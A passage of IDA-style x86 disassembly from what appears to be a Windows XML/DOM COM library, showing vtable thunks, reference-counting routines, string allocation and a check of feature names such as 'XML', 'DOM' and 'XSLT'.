		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59578
sub_69B5978D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59797	proc near		; DATA XREF: .text:69B29024o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B5958C
sub_69B59797	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B597A1	proc near		; DATA XREF: .text:69B29028o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B595A4
sub_69B597A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B597AB	proc near		; DATA XREF: .text:69B2902Co

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B595BC
sub_69B597AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B597B5	proc near		; DATA XREF: .text:69B29030o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B595D4
sub_69B597B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B597BF	proc near		; DATA XREF: .text:69B29034o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B595E8
sub_69B597BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B597C9	proc near		; DATA XREF: .text:69B29038o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B595FC
sub_69B597C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B597D3	proc near		; DATA XREF: .text:69B2903Co

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59610
sub_69B597D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B597DD	proc near		; DATA XREF: .text:69B29040o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59624
sub_69B597DD	endp

; ---------------------------------------------------------------------------


loc_69B597E7:				; DATA XREF: .text:69B28E30o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B59321
; ---------------------------------------------------------------------------


loc_69B597F1:				; DATA XREF: .text:off_69B28E24o
		sub	ecx, 1Ch
		jmp	short loc_69B59814
; ---------------------------------------------------------------------------


loc_69B597F6:				; DATA XREF: .text:69B28DF0o
		sub	dword ptr [esp+4], 34h
		jmp	sub_69B59321

; =============== S U B	R O U T	I N E =======================================



sub_69B59800	proc near		; DATA XREF: .text:69B28DFCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 34h
		jmp	sub_69B56828
sub_69B59800	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5980A	proc near		; DATA XREF: .text:69B28E00o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 34h
		jmp	sub_69B56895
sub_69B5980A	endp

; ---------------------------------------------------------------------------


loc_69B59814:				; CODE XREF: .text:69B597F4j
					; DATA XREF: .text:off_69B28E38o
		push	esi
		mov	esi, ecx
		call	sub_69B59833
		test	byte ptr [esp+8], 1
		jz	short loc_69B5982C
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B5982C:				; CODE XREF: .text:69B59821j
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B59833	proc near		; CODE XREF: .text:69B59817p
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi-0Ch]
		mov	ecx, edi
		neg	ecx
		lea	eax, [esi+10h]
		sbb	ecx, ecx
		and	ecx, eax
		add	ecx, 0Ch
		mov	dword ptr [esi-0Ch], offset off_69B28E50
		mov	dword ptr [esi-8], offset off_69B28E3C
		mov	dword ptr [esi], offset	off_69B28E38
		mov	dword ptr [eax], offset	off_69B28F98
		mov	dword ptr [esi+14h], offset off_69B28E28
		mov	dword ptr [esi+1Ch], offset off_69B28E24
		mov	dword ptr [esi+28h], offset off_69B28DE8
		call	sub_69B4389D
		mov	ecx, edi
		neg	ecx
		sbb	ecx, ecx
		pop	edi
		and	ecx, esi
		pop	esi
		jmp	loc_69B88066
sub_69B59833	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5988B	proc near		; CODE XREF: .text:69B598A9j
					; .text:69B598BAj ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 28h
		call	sub_69B18E54
		retn	4
sub_69B5988B	endp

; ---------------------------------------------------------------------------


loc_69B5989A:				; DATA XREF: .text:off_69B28E3Co
		sub	dword ptr [esp+4], 4
		jmp	sub_69B570DC
; ---------------------------------------------------------------------------


loc_69B598A4:				; DATA XREF: .text:69B28E40o
		sub	dword ptr [esp+4], 4
		jmp	short sub_69B5988B
; ---------------------------------------------------------------------------


loc_69B598AB:				; DATA XREF: .text:off_69B28F98o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B570DC
; ---------------------------------------------------------------------------


loc_69B598B5:				; DATA XREF: .text:69B28F9Co
		sub	dword ptr [esp+4], 1Ch
		jmp	short sub_69B5988B

; =============== S U B	R O U T	I N E =======================================



sub_69B598BC	proc near		; DATA XREF: .text:69B28FF8o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B57136
sub_69B598BC	endp

; ---------------------------------------------------------------------------


loc_69B598C6:				; DATA XREF: .text:off_69B28E28o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B570DC
; ---------------------------------------------------------------------------


loc_69B598D0:				; DATA XREF: .text:69B28E2Co
		sub	dword ptr [esp+4], 20h
		jmp	short sub_69B5988B
; ---------------------------------------------------------------------------


loc_69B598D7:				; DATA XREF: .text:off_69B28DE8o
		sub	dword ptr [esp+4], 34h
		jmp	sub_69B570DC
; ---------------------------------------------------------------------------


loc_69B598E1:				; DATA XREF: .text:69B28DECo
		sub	dword ptr [esp+4], 34h
		jmp	short sub_69B5988B

; =============== S U B	R O U T	I N E =======================================



sub_69B598E8	proc near		; DATA XREF: .text:69B14D0Co
		push	20h
		push	offset dword_69B59988
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B5990A
		mov	eax, 80004005h
		jmp	short loc_69B5997F
; ---------------------------------------------------------------------------


loc_69B5990A:				; CODE XREF: sub_69B598E8+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B18E23
		mov	[ebp-4], edi
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+38h]
		jmp	short loc_69B59960
; ---------------------------------------------------------------------------


loc_69B59940:				; DATA XREF: .text:69B5998Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B59949:				; DATA XREF: .text:69B59990o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B59960:				; CODE XREF: sub_69B598E8+56j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B5997F:				; CODE XREF: sub_69B598E8+20j
		call	sub_69B1853C
		retn	14h
sub_69B598E8	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B59988	dd 0FFFFFFFFh			dd offset loc_69B59940
		dd offset loc_69B59949

; =============== S U B	R O U T	I N E =======================================



sub_69B59994	proc near		; DATA XREF: .text:69B14D10o
		push	1Ch
		push	offset dword_69B59A28
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B599B6
		mov	eax, 80004005h
		jmp	short loc_69B59A1B
; ---------------------------------------------------------------------------


loc_69B599B6:				; CODE XREF: sub_69B59994+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		mov	[ebp-4], edi
		mov	ecx, [esi+10h]
		mov	[ebp-2Ch], ecx
		mov	eax, [ecx]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+3Ch]
		jmp	short loc_69B59A04
; ---------------------------------------------------------------------------


loc_69B599E4:				; DATA XREF: .text:69B59A2Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B599ED:				; DATA XREF: .text:69B59A30o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B59A04:				; CODE XREF: sub_69B59994+4Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B59A1B:				; CODE XREF: sub_69B59994+20j
		call	sub_69B1853C
		retn	18h
sub_69B59994	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B59A28	dd 0FFFFFFFFh			dd offset loc_69B599E4
		dd offset loc_69B599ED

; =============== S U B	R O U T	I N E =======================================



sub_69B59A34	proc near		; DATA XREF: .text:69B14D44o
		push	60h
		push	offset dword_69B59BE8
		call	sub_69B19C5C
		mov	esi, [ebp+0Ch]
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_69B59A53
		mov	eax, 80070057h
		jmp	loc_69B59BDC
; ---------------------------------------------------------------------------


loc_69B59A53:				; CODE XREF: sub_69B59A34+13j
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jz	short loc_69B59A86
		mov	edi, [ebp+8]
		push	dword ptr [edi+10h]
		push	eax
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B59A90
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B59A86:				; CODE XREF: sub_69B59A34+2Aj
		mov	eax, 80004005h
		jmp	loc_69B59BDC
; ---------------------------------------------------------------------------


loc_69B59A90:				; CODE XREF: sub_69B59A34+3Fj
		mov	[ebp-4], ebx
		mov	[esi], ebx
		mov	[esi+4], ebx
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		mov	[esi+10h], ebx
		mov	[esi+14h], ebx
		mov	eax, [edi+10h]
		mov	[ebp-34h], eax
		mov	edi, [eax+6Ch]
		mov	[ebp-38h], edi
		mov	[ebp-3Ch], edi
		cmp	edi, ebx
		jz	loc_69B59B4D
		mov	eax, [edi+18h]
		mov	[esi], eax
		mov	eax, [edi+1Ch]
		mov	[esi+0Ch], eax
		mov	dword ptr [ebp-40h], offset off_69B1A5AC
		mov	eax, ds:off_69B1A5B8
		mov	[ebp-44h], eax
		push	ds:dword_69B1A5B4 ; UINT
		push	eax		; OLECHAR *
		mov	ebx, SysAllocStringLen
		call	ebx ; SysAllocStringLen
		mov	[esi+14h], eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		mov	[ebp-48h], eax
		test	eax, eax
		jz	short loc_69B59B04
		mov	ecx, [eax+0Ch]
		mov	[ebp-4Ch], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	ebx ; SysAllocStringLen
		mov	[esi+10h], eax


loc_69B59B04:				; CODE XREF: sub_69B59A34+BFj
		mov	edi, [edi+14h]
		mov	[ebp-50h], edi
		test	edi, edi
		jz	short loc_69B59B1F
		mov	eax, edi
		mov	[ebp-54h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-58h], ecx
		push	dword ptr [eax+8]
		push	ecx
		jmp	short loc_69B59B2E
; ---------------------------------------------------------------------------


loc_69B59B1F:				; CODE XREF: sub_69B59A34+D8j
		mov	eax, ds:off_69B1A5B8
		mov	[ebp-5Ch], eax
		push	ds:dword_69B1A5B4 ; UINT
		push	eax		; OLECHAR *


loc_69B59B2E:				; CODE XREF: sub_69B59A34+E9j
		call	ebx ; SysAllocStringLen
		mov	[esi+4], eax
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	[ebp-60h], eax
		cmp	[esi+0Ch], eax
		jb	short loc_69B59B48
		lea	ecx, [eax-1]
		mov	[esi+0Ch], ecx


loc_69B59B48:				; CODE XREF: sub_69B59A34+10Cj
		mov	[esi+8], eax
		jmp	short loc_69B59B53
; ---------------------------------------------------------------------------


loc_69B59B4D:				; CODE XREF: sub_69B59A34+81j
		mov	ebx, SysAllocStringLen


loc_69B59B53:				; CODE XREF: sub_69B59A34+117j
		xor	edi, edi
		cmp	[esi+4], edi
		jnz	short loc_69B59B6E
		mov	eax, ds:off_69B1A5B8
		mov	[ebp-64h], eax
		push	ds:dword_69B1A5B4 ; UINT
		push	eax		; OLECHAR *
		call	ebx ; SysAllocStringLen
		mov	[esi+4], eax


loc_69B59B6E:				; CODE XREF: sub_69B59A34+124j
		cmp	[esi+10h], edi
		jnz	short loc_69B59B87
		mov	eax, ds:off_69B1A5B8
		mov	[ebp-68h], eax
		push	ds:dword_69B1A5B4 ; UINT
		push	eax		; OLECHAR *
		call	ebx ; SysAllocStringLen
		mov	[esi+10h], eax


loc_69B59B87:				; CODE XREF: sub_69B59A34+13Dj
		cmp	[esi+14h], edi
		jnz	short loc_69B59BA0
		mov	eax, ds:off_69B1A5B8
		mov	[ebp-6Ch], eax
		push	ds:dword_69B1A5B4 ; UINT
		push	eax		; OLECHAR *
		call	ebx ; SysAllocStringLen
		mov	[esi+14h], eax


loc_69B59BA0:				; CODE XREF: sub_69B59A34+156j
		mov	[ebp-70h], edi
		jmp	short loc_69B59BC5
; ---------------------------------------------------------------------------


loc_69B59BA5:				; DATA XREF: .text:69B59BECo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B59BAE:				; DATA XREF: .text:69B59BF0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B59BC5:				; CODE XREF: sub_69B59A34+16Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B59BDC:				; CODE XREF: sub_69B59A34+1Aj
					; sub_69B59A34+57j
		call	sub_69B1853C
		retn	8
sub_69B59A34	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B59BE8	dd 0FFFFFFFFh			dd offset loc_69B59BA5
		dd offset loc_69B59BAE

; =============== S U B	R O U T	I N E =======================================



sub_69B59BF4	proc near		; DATA XREF: .text:69B59D00o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	eax, [esi+8]
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	eax, [esi+4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		pop	esi
		retn	4
sub_69B59BF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59C10	proc near		; DATA XREF: .text:69B59D08o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jnz	short loc_69B59C1E
		mov	eax, 80004003h
		jmp	short locret_69B59C35
; ---------------------------------------------------------------------------


loc_69B59C1E:				; CODE XREF: sub_69B59C10+5j
		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		push	dword ptr [eax+10h]
		push	0
		push	1
		push	dword ptr [eax+0Ch]
		call	sub_69B2DEF4

locret_69B59C35:			; CODE XREF: sub_69B59C10+Cj
		retn	8
sub_69B59C10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B59C38	proc near		; DATA XREF: .text:off_69B59CFCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_69B59C49
		mov	eax, 80004003h
		jmp	short loc_69B59C8D
; ---------------------------------------------------------------------------


loc_69B59C49:				; CODE XREF: sub_69B59C38+8j
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B0F0
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B59C7E
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B59C7E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		push	edx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B59C8B
; ---------------------------------------------------------------------------


loc_69B59C7E:				; CODE XREF: sub_69B59C38+22j
					; sub_69B59C38+33j
		mov	eax, [ebp+arg_0]
		mov	[edx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax


loc_69B59C8B:				; CODE XREF: sub_69B59C38+44j
		pop	edi
		pop	esi


loc_69B59C8D:				; CODE XREF: sub_69B59C38+Fj
		pop	ebp
		retn	0Ch
sub_69B59C38	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59C91	proc near		; DATA XREF: .text:69B59D04o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [esi+8]
		push	edi		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		cmp	dword ptr [edi], 0
		jnz	short loc_69B59CBB
		mov	eax, [esi+4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		push	esi
		mov	edi, eax
		call	sub_69B1B2B7
		mov	eax, edi
		jmp	short loc_69B59CC4
; ---------------------------------------------------------------------------


loc_69B59CBB:				; CODE XREF: sub_69B59C91+13j
		mov	esi, [esi+4]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B59CC4:				; CODE XREF: sub_69B59C91+28j
		pop	edi
		pop	esi
		retn	4
sub_69B59C91	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59CC9	proc near		; CODE XREF: sub_69B1C12C+2FD4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		mov	[esi+0Ch], eax
		mov	eax, [esp+4+arg_8]
		mov	[esi+10h], eax
		mov	eax, [esp+4+arg_0]
		mov	dword ptr [esi], offset	off_69B59CFC
		mov	[esi+4], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B59CC9	endp

; ---------------------------------------------------------------------------
		align 4
off_69B59CFC	dd offset sub_69B59C38	; DATA XREF: sub_69B59CC9+15o
		dd offset sub_69B59BF4
		dd offset sub_69B59C91
		dd offset sub_69B59C10

; =============== S U B	R O U T	I N E =======================================



sub_69B59D0C	proc near		; DATA XREF: .text:69B152B4o
		mov	eax, offset off_69B59D14
		retn
sub_69B59D0C	endp

; ---------------------------------------------------------------------------
		align 4
off_69B59D14	dd offset off_69B28200	; DATA XREF: sub_69B59D0Co
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_69B59D1C	proc near		; DATA XREF: .text:69B13704o
					; .text:69B14138o ...
		xor	al, al
		retn
sub_69B59D1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B59D1F	proc near		; DATA XREF: .text:69B153B4o
		jmp	sub_69B48144
sub_69B59D1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B59D24	proc near		; DATA XREF: .text:69B153B8o
		jmp	sub_69B48C17
sub_69B59D24	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59D29	proc near		; DATA XREF: .text:69B1538Co
		mov	eax, ecx
		mov	ecx, [eax+10h]
		push	eax
		call	sub_69B51C4D
		retn
sub_69B59D29	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59D35	proc near		; DATA XREF: .text:69B15394o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	ecx
		mov	ecx, [ecx+10h]
		call	sub_69B51D62
		retn	4
sub_69B59D35	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59D45	proc near		; DATA XREF: .text:69B15398o
		mov	eax, ecx
		mov	ecx, [eax+10h]
		push	eax
		call	sub_69B51C69
		retn
sub_69B59D45	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59D51	proc near		; DATA XREF: .text:69B1539Co

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	ecx
		mov	ecx, [ecx+10h]
		call	sub_69B51D82
		retn	4
sub_69B59D51	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59D61	proc near		; DATA XREF: .text:69B153A0o
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+10h]
		push	esi
		call	sub_69B51C85
		test	eax, eax
		jnz	short loc_69B59D79
		mov	ecx, esi
		pop	esi
		jmp	sub_69B48144
; ---------------------------------------------------------------------------


loc_69B59D79:				; CODE XREF: sub_69B59D61+Ej
		pop	esi
		retn
sub_69B59D61	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59D7B	proc near		; DATA XREF: .text:69B153A4o

arg_0		= dword	ptr  4

		push	esi
		push	0
		mov	esi, ecx
		call	sub_69B48148
		push	[esp+4+arg_0]
		mov	ecx, [esi+10h]
		and	byte ptr [esi+0Ah], 0BFh
		push	esi
		call	sub_69B51DA2
		pop	esi
		retn	4
sub_69B59D7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59D9A	proc near		; DATA XREF: .text:69B153A8o
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B48152
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B59DC0
		mov	ecx, [esi+10h]
		push	esi
		call	sub_69B51CAF
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B59DC0
		push	edi
		mov	ecx, esi
		call	sub_69B48C0F


loc_69B59DC0:				; CODE XREF: sub_69B59D9A+Dj
					; sub_69B59D9A+1Cj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B59D9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59DC5	proc near		; DATA XREF: .text:69B153ACo

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_69B48C0F
		mov	ecx, [esi+10h]
		test	edi, edi
		setnz	al
		movzx	eax, al
		shl	eax, 16h
		xor	eax, [esi+8]
		push	edi
		and	eax, 400000h
		xor	[esi+8], eax
		push	esi
		call	sub_69B51DC6
		pop	edi
		pop	esi
		retn	4
sub_69B59DC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59DF8	proc near		; DATA XREF: .text:69B153B0o
		mov	eax, [ecx+8]
		shr	eax, 16h
		and	eax, 1
		retn
sub_69B59DF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59E02	proc near		; DATA XREF: .text:69B15380o

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, edx
		shl	eax, 4
		xor	eax, [ecx+8]
		and	eax, 3F0h
		xor	[ecx+8], eax
		cmp	edx, 0Ch
		mov	eax, [ecx+8]
		jge	short loc_69B59E38
		test	edx, edx
		setnz	dl
		movzx	edx, dl
		shl	edx, 0Eh
		xor	edx, eax
		and	edx, 4000h
		xor	edx, eax
		mov	[ecx+8], edx
		jmp	short locret_69B59E40
; ---------------------------------------------------------------------------


loc_69B59E38:				; CODE XREF: sub_69B59E02+1Aj
		or	eax, 4000h
		mov	[ecx+8], eax

locret_69B59E40:			; CODE XREF: sub_69B59E02+34j
		retn	8
sub_69B59E02	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59E43	proc near		; DATA XREF: .text:69B152A4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B481BE
		test	[esp+4+arg_0], 1
		jz	short loc_69B59E58
		push	esi
		call	sub_69B2E3BD


loc_69B59E58:				; CODE XREF: sub_69B59E43+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B59E43	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59E5E	proc near		; DATA XREF: .text:69B152CCo
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+10h]
		push	esi
		mov	ecx, edi
		call	sub_69B51835
		mov	al, [esi+0Bh]
		mov	ecx, [esi+0Ch]
		and	al, 1Fh
		cmp	al, 3
		jnz	short loc_69B59E82
		test	ecx, ecx
		jz	short loc_69B59E82
		mov	eax, [ecx]
		call	dword ptr [eax+18h]


loc_69B59E82:				; CODE XREF: sub_69B59E5E+19j
					; sub_69B59E5E+1Dj
		and	byte ptr [esi+0Bh], 0DFh
		push	0
		mov	ecx, esi
		call	sub_69B48C0F
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+10h], 0
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		pop	edi
		pop	esi
		retn
sub_69B59E5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59EA7	proc near		; DATA XREF: .text:69B15388o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		add	ecx, 14h
		push	ecx
		call	sub_69B17320
		retn	4
sub_69B59EA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B59EB7(VARIANTARG	*pvar)

sub_69B59EB7	proc near		; DATA XREF: .text:69B153BCo

var_4		= dword	ptr -4
pvar		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, [esi+8]
		shr	edi, 4
		and	edi, 3Fh
		push	edi
		mov	[ebp+var_4], esi
		call	sub_69B2FB83
		cmp	ax, 8
		mov	ebx, [ebp+pvar]
		jz	short loc_69B59F08
		push	0
		mov	ecx, esi
		call	sub_69B47E6C
		or	[ebp+pvar], 0FFFFFFFFh
		mov	esi, eax
		lea	eax, [ebp+pvar]
		push	eax		; int
		push	0		; int
		push	ebx		; pvar
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	edi		; int
		push	dword ptr [esi+8] ; cElements
		push	dword ptr [esi+0Ch] ; int
		call	sub_69B30DEE
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]


loc_69B59F08:				; CODE XREF: sub_69B59EB7+22j
		cmp	edi, 1Ah
		jz	short loc_69B59F37
		cmp	edi, 24h
		jz	short loc_69B59F37
		mov	ecx, [ebp+var_4]
		push	1
		push	1
		push	1
		call	sub_69B4AAFC
		push	dword ptr [eax+8] ; UINT
		mov	ecx, [eax+0Ch]
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	word ptr [ebx],	8
		mov	[ebx+8], eax
		jmp	short loc_69B59F3C
; ---------------------------------------------------------------------------


loc_69B59F37:				; CODE XREF: sub_69B59EB7+54j
					; sub_69B59EB7+59j
		mov	word ptr [ebx],	1


loc_69B59F3C:				; CODE XREF: sub_69B59EB7+7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B59EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B59F43	proc near		; DATA XREF: .text:69B12850o

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jz	loc_69B59FFA
		mov	edi, [ebp+arg_C]
		cmp	edi, ebx
		jz	loc_69B59FFA
		push	offset aXml_1	; "XML"
		push	esi
		mov	[edi], bx
		call	sub_69B2ED17
		test	eax, eax
		jz	short loc_69B59F82
		push	offset aDom	; "DOM"
		push	esi
		call	sub_69B2ED17
		test	eax, eax
		jnz	short loc_69B59F8E


loc_69B59F82:				; CODE XREF: sub_69B59F43+2Ej
		cmp	[ebp+arg_8], ebx
		jz	short loc_69B59FF2
		push	offset a1_0	; "1.0"
		jmp	short loc_69B59FE4
; ---------------------------------------------------------------------------


loc_69B59F8E:				; CODE XREF: sub_69B59F43+3Dj
		push	offset aMsDom	; "MS-DOM"
		push	esi
		call	sub_69B2ED17
		test	eax, eax
		jnz	short loc_69B59FBC
		cmp	[ebp+arg_8], ebx
		jz	short loc_69B59FF2
		push	offset a1_0	; "1.0"
		push	[ebp+arg_8]
		call	sub_69B84A8E
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_69B59FF2
		push	offset a2_0	; "2.0"
		jmp	short loc_69B59FE4
; ---------------------------------------------------------------------------


loc_69B59FBC:				; CODE XREF: sub_69B59F43+58j
		push	offset aXslt	; "XSLT"
		push	esi
		call	sub_69B2ED17
		test	eax, eax
		jz	short loc_69B59FDA
		push	offset aSchema	; "SCHEMA"
		push	esi
		call	sub_69B2ED17
		test	eax, eax
		jnz	short loc_69B59FF6


loc_69B59FDA:				; CODE XREF: sub_69B59F43+86j
